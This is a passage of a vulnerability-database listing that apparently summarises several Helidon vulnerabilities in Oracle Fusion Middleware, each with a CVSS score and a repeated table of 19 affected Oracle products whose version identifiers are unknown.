vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle Fusion Middleware's Helidon 1.4.20 has a CVSS 3.1 base score of 9.8, severely impacting confidentiality, integrity, and availability via HTTP.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 1.4.19 allows unauthenticated remote attackers to create, delete, or modify critical data via HTTP, with a CVSS 3.1 base score of 9.1.
9.1 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 1.4.20 allows unauthenticated network attackers via HTTP to perform unauthorized data update, insert, or delete operations, with a CVSS 3.1 base score of 3.7 indicating low to moderate integrity impact.
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 1.4.19 allows unauthenticated remote attackers to create, delete, or modify critical data via HTTP, with a CVSS 3.1 base score of 9.1.
9.1 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 1.4.19 allows unauthenticated HTTP attackers to gain unauthorized access and manipulate Helidon data, with a CVSS 3.1 base score of 8.2.
8.2 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A denial of service vulnerability in Oracle Fusion Middleware Helidon 3.2.20 allows unauthenticated attackers with HTTP network access to hang or crash the server, rated CVSS 3.1 base score 7.5 for availability impact.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.3 allows unauthenticated HTTP attackers to perform unauthorized data read, update, insert, or delete actions, with a CVSS 3.1 base score of 7.2.
7.2 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.3 allows unauthenticated attackers with HTTP network access to perform unauthorized data modifications, read access, and partial denial of service, rated CVSS 3.1 score 8.3.
8.3 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated network vulnerability in Oracle Fusion Middleware Helidon 4.5.3 allows HTTP-based exploitation leading to unauthorized data access, modification, deletion, and partial denial of service, rated CVSS 3.1 9.9.
9.9 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.3 allows unauthenticated attackers with HTTP network access to perform unauthorized data modifications, read access, and partial denial of service, rated CVSS 3.1 score 8.3.
8.3 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.3 allows unauthenticated remote attackers to cause a partial denial of service via HTTP, with a CVSS 3.1 base score of 5.3.
5.3 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.3 allows unauthenticated attackers with HTTP network access to perform unauthorized data modifications, read access, and partial denial of service, rated CVSS 7.3.
7.3 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 3.2.19 allows unauthenticated attackers to cause denial of service via HTTP/2, with a CVSS 3.1 base score of 7.5 due to its impact on system availability.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.1 allows unauthenticated HTTP/2 attackers to cause denial of service by hanging or crashing the system, with a CVSS 3.1 base score of 7.5 due to availability impact.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A denial of service vulnerability in Oracle Fusion Middleware Helidon 4.5.1 allows unauthenticated remote attackers to crash or hang the server via HTTP, with a CVSS 3.1 base score of 7.5 due to availability impact.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
